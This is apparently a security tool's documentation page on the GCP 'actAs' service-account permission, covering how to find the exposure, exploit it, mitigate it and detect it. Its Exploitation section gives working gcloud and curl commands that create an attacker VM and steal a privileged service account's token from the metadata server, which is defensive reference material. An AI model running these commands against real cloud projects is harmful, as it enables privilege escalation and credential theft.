> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_act_as_sa.md).

# GCP\_CAN\_ACT\_AS\_SA

## Summary

|                            |                                                               |
| -------------------------- | ------------------------------------------------------------- |
| **FSProtect ACL Alias**    | GCP\_CAN\_ACT\_AS\_SA                                         |
| **GCP Alias**              | Persistence & Impersonation                                   |
| **Affected Object Types**  | Service Accounts                                              |
| **Exploitation Certainty** | Likely                                                        |
| **Granting Roles**         | `roles/owner`, `roles/editor`, `roles/iam.serviceAccountUser` |

## Description

`GCP_CAN_ACT_AS_SA` indicates that an identity holds `iam.serviceAccounts.actAs` permission on a GCP **Service Account**. This permission allows the identity to attach the target SA to GCP infrastructure — specifically when creating or updating VMs, Cloud Run services, Cloud Functions, App Engine apps, or GKE node pools.

Unlike `GCP_CAN_IMPERSONATE_SA` (which generates tokens directly), `GCP_CAN_ACT_AS_SA` requires a **compute vehicle**: the attacker must spin up or modify an infrastructure resource to attach the target SA, then extract its access token from the GCP metadata server.

**Key abuse scenarios:**

* Create a VM with the target SA attached → SSH into VM → extract token from metadata server → use as target SA.
* Deploy a Cloud Run service using the target SA → invoke the service → exfiltrate the SA's token from within.
* Modify an existing VM's SA attachment to swap in a higher-privilege SA.

## Identification

### gcloud CLI

```bash
# Find who has iam.serviceAccountUser role (grants actAs)
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|editor|serviceAccountUser")) | {role: .role, members: .members}'

# Check SA-level actAs grants
for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
  POLICY=$(gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null)
  BINDINGS=$(echo $POLICY | jq -r '.bindings // [] | .[] | select(.role == "roles/iam.serviceAccountUser")' 2>/dev/null)
  if [ ! -z "$BINDINGS" ]; then
    echo "=== $SA ===" && echo $BINDINGS
  fi
done
```

```bash
# Check which VMs are running with high-privilege SAs
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, serviceAccounts[].email)"
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Service Accounts**.
2. Click a service account → **Principals with access** tab.
3. Look for principals with `Service Account User` role.

## Exploitation

This path requires both `GCP_CAN_ACT_AS_SA` and a compute creation capability. → see [GCP\_CAN\_CREATE\_COMPUTE](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_create_compute).

### gcloud CLI

```bash
# Create a VM attached to the target SA.
TARGET_SA="high-priv@target-project.iam.gserviceaccount.com"
PROJECT_ID="target-project"
ZONE="us-central1-a"

gcloud compute instances create attacker-vm \
  --project=$PROJECT_ID \
  --zone=$ZONE \
  --machine-type=e2-micro \
  --service-account=$TARGET_SA \
  --scopes=cloud-platform \
  --metadata=startup-script='#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
echo "$TOKEN" > /tmp/token.json'

# SSH into the VM
gcloud compute ssh attacker-vm --zone=$ZONE --project=$PROJECT_ID

# From inside the VM:
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Use the token as the target SA
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"
```

## Mitigation

1. **Restrict `roles/iam.serviceAccountUser`** — assign only when necessary and scope to the minimum required SA, not project-wide.
2. **Disable default SA binding on new VMs** using org policy: `constraints/compute.disableDefaultServiceAccountCreation`
3. **Block project-default SA at compute creation** with `constraints/compute.requireOsLogin`.
4. **Audit VM service account assignments** — verify all VMs use purpose-specific minimal SAs.
5. **Enable OS Login** to restrict SSH access and tie it to IAM identity.

## Detection

| Log Type       | Method                                 | Key Fields                                        |
| -------------- | -------------------------------------- | ------------------------------------------------- |
| Admin Activity | `*compute.instances.insert`            | `resource.type=gce_instance`, SA field in request |
| Admin Activity | `*compute.instances.setServiceAccount` | SA changed on existing VM                         |

```bash
gcloud logging read \
  'protoPayload.methodName=~"compute.instances.insert" AND protoPayload.request.serviceAccounts.email!=""' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name, protoPayload.request.serviceAccounts)"
```

Alert on:

* VM creation or SA modification attaching a privileged SA to a VM by an unexpected principal.
* Metadata server token requests from VMs created within the last 24 hours.

## References

* <https://cloud.google.com/iam/docs/service-accounts#the\\_service\\_account\\_user\\_role>
* <https://cloud.google.com/compute/docs/access/service-accounts>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_act_as_sa.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
